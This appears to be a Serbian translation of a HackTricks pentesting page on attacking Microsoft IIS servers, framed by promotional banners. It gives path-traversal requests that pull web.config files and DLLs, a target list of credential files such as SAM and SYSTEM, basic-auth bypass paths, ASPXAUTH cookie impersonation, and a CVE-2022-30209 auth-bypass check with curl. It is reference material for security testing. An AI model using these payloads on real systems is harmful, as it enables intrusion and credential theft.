17 KiB
IIS - Internet Information Services
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
WhiteIntel
WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti kompromitovani od strane stealer malvera.
Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:
{% embed url="https://whiteintel.io" %}
Testirajte ekstenzije izvršnih datoteka:
- asp
- aspx
- config
- php
Otkriće interne IP adrese
Na bilo kojem IIS serveru gde dobijete 302 možete pokušati da uklonite Host header i koristite HTTP/1.0, a unutar odgovora Location header može ukazivati na internu IP adresu:
nc -v domain.com 80
openssl s_client -connect domain.com:443
Odgovor koji otkriva unutrašnju IP adresu:
GET / HTTP/1.0
HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016
Izvršavanje .config datoteka
Možete učitati .config datoteke i koristiti ih za izvršavanje koda. Jedan od načina da to uradite je dodavanje koda na kraj datoteke unutar HTML komentara: Preuzmite primer ovde
Više informacija i tehnika za iskorišćavanje ove ranjivosti ovde
IIS Otkriće Bruteforce
Preuzmite listu koju sam napravio:
{% file src="../../.gitbook/assets/iisfinal.txt" %}
Napravljen je spajanjem sadržaja sledećih lista:
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt
Koristite je bez dodavanja ekstenzije, datoteke koje je zahtevaju već je imaju.
Putanja Traversal
Curjenje izvornog koda
Proverite potpuni izveštaj na: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
{% hint style="info" %}
Kao sažetak, postoji nekoliko web.config datoteka unutar foldera aplikacije sa referencama na "assemblyIdentity" datoteke i "namespaces". Sa ovom informacijom je moguće znati gde se nalaze izvršne datoteke i preuzeti ih.
Iz preuzetih Dlls je takođe moguće pronaći nove namespaces gde treba pokušati da se pristupi i dobije web.config datoteka kako bi se pronašle nove namespaces i assemblyIdentity.
Takođe, datoteke connectionstrings.config i global.asax mogu sadržati zanimljive informacije.\
{% endhint %}
U .Net MVC aplikacijama, web.config datoteka igra ključnu ulogu tako što specificira svaku binarnu datoteku na kojoj aplikacija zavisi putem "assemblyIdentity" XML oznaka.
Istraživanje Binarnih Datoteka
Primer pristupa web.config datoteci je prikazan u nastavku:
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
Ovaj zahtev otkriva razne postavke i zavisnosti, kao što su:
- EntityFramework verzija
- AppSettings za veb stranice, validaciju klijenata i JavaScript
- System.web konfiguracije za autentifikaciju i vreme izvršavanja
- System.webServer podešavanja modula
- Runtime vezivanja skupova za brojne biblioteke kao što su Microsoft.Owin, Newtonsoft.Json i System.Web.Mvc
Ove postavke ukazuju na to da se određene datoteke, kao što je /bin/WebGrease.dll, nalaze unutar /bin fascikle aplikacije.
Datoteke u korenskom direktorijumu
Datoteke pronađene u korenskom direktorijumu, kao što su /global.asax i /connectionstrings.config (koja sadrži osetljive lozinke), su ključne za konfiguraciju i rad aplikacije.
Namespaces i Web.Config
MVC aplikacije takođe definišu dodatne web.config datoteke za specifične namespaces kako bi se izbegle ponavljajuće deklaracije u svakoj datoteci, kao što je prikazano zahtevom za preuzimanje druge web.config:
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
Preuzimanje DLL-ova
Pominjanje prilagođenog imenskog prostora ukazuje na DLL pod nazivom "WebApplication1" prisutan u /bin direktorijumu. Nakon toga, prikazan je zahtev za preuzimanje WebApplication1.dll:
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
Ovo sugeriše prisustvo drugih bitnih DLL-ova, kao što su System.Web.Mvc.dll i System.Web.Optimization.dll, u /bin direktorijumu.
U scenariju gde DLL uvozi prostor imena pod nazivom WebApplication1.Areas.Minded, napadač može da zaključi o postojanju drugih web.config fajlova na predvidivim putanjama, kao što su /area-name/Views/, koji sadrže specifične konfiguracije i reference na druge DLL-ove u /bin folderu. Na primer, zahtev za /Minded/Views/web.config može otkriti konfiguracije i prostore imena koji ukazuju na prisustvo drugog DLL-a, WebApplication1.AdditionalFeatures.dll.
Uobičajeni fajlovi
Sa ovde
C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml
HTTPAPI 2.0 404 Greška
Ako vidite grešku poput sledeće:
To znači da server nije primio ispravno ime domena unutar Host zaglavlja.
Da biste pristupili veb stranici, možete pogledati SSL sertifikat i možda ćete tamo pronaći ime domena/subdomena. Ako ga nema, možda ćete morati da brute force VHosts dok ne pronađete ispravno.
Stare IIS ranjivosti koje vredi potražiti
Microsoft IIS tilde karakter “~” Ranjivost/Osobina – Otkriće kratkog imena datoteke/foldera
Možete pokušati da enumerišete foldere i datoteke unutar svakog otkrivenog foldera (čak i ako zahteva osnovnu autentifikaciju) koristeći ovu tehniku.
Glavno ograničenje ove tehnike, ako je server ranjiv, je to da može pronaći samo prvih 6 slova imena svake datoteke/foldera i prva 3 slova ekstenzije datoteka.
Možete koristiti https://github.com/irsdl/IIS-ShortName-Scanner da testirate ovu ranjivost:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/
Originalno istraživanje: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf
Takođe možete koristiti metasploit: use scanner/http/iis_shortname_scanner
Zaobilaženje osnovne autentifikacije
Zaobiđite osnovnu autentifikaciju (IIS 7.5) pokušavajući da pristupite: /admin:$i30:$INDEX_ALLOCATION/admin.php
ili /admin::$INDEX_ALLOCATION/admin.php
Možete pokušati da kombinujete ovu ranjivost i prethodnu da pronađete nove foldere i zaobiđete autentifikaciju.
ASP.NET Trace.AXD omogućeno debagovanje
ASP.NET uključuje režim debagovanja i njegova datoteka se zove trace.axd
.
Ona čuva veoma detaljan zapis svih zahteva upućenih aplikaciji tokom određenog vremenskog perioda.
Ove informacije uključuju IP adrese udaljenih klijenata, ID sesija, sve kolačiće zahteva i odgovora, fizičke putanje, informacije o izvoru koda, i potencijalno čak i korisnička imena i lozinke.
https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/
ASPXAUTH Kolačić
ASPXAUTH koristi sledeće informacije:
validationKey
(string): heksadecimalno kodirani ključ za korišćenje u validaciji potpisa.decryptionMethod
(string): (podrazumevano “AES”).decryptionIV
(string): heksadecimalno kodirani inicijalizacioni vektor (podrazumevano vektor nula).decryptionKey
(string): heksadecimalno kodirani ključ za korišćenje u dekripciji.
Međutim, neki ljudi će koristiti podrazumevane vrednosti ovih parametara i koristiće kao kolačić email korisnika. Stoga, ako možete pronaći veb sajt koji koristi istu platformu koja koristi ASPXAUTH kolačić i napravite korisnika sa emailom korisnika kojeg želite da imitirate na serveru pod napadom, možda ćete moći da koristite kolačić sa drugog servera na prvom i imitirate korisnika.
Ovaj napad je uspeo u ovom izveštaju.
IIS Zaobilaženje autentifikacije sa keširanim lozinkama (CVE-2022-30209)
Potpuni izveštaj ovde: Greška u kodu nije pravilno proverila lozinku koju je dao korisnik, tako da će napadač čija hash lozinka odgovara ključu koji je već u kešu moći da se prijavi kao taj korisnik.
# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized
# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
WhiteIntel
WhiteIntel je dark-web pretraživač koji nudi besplatne funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili kompromitovani od strane stealer malwares.
Njihov primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.
Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač besplatno na:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podrška HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.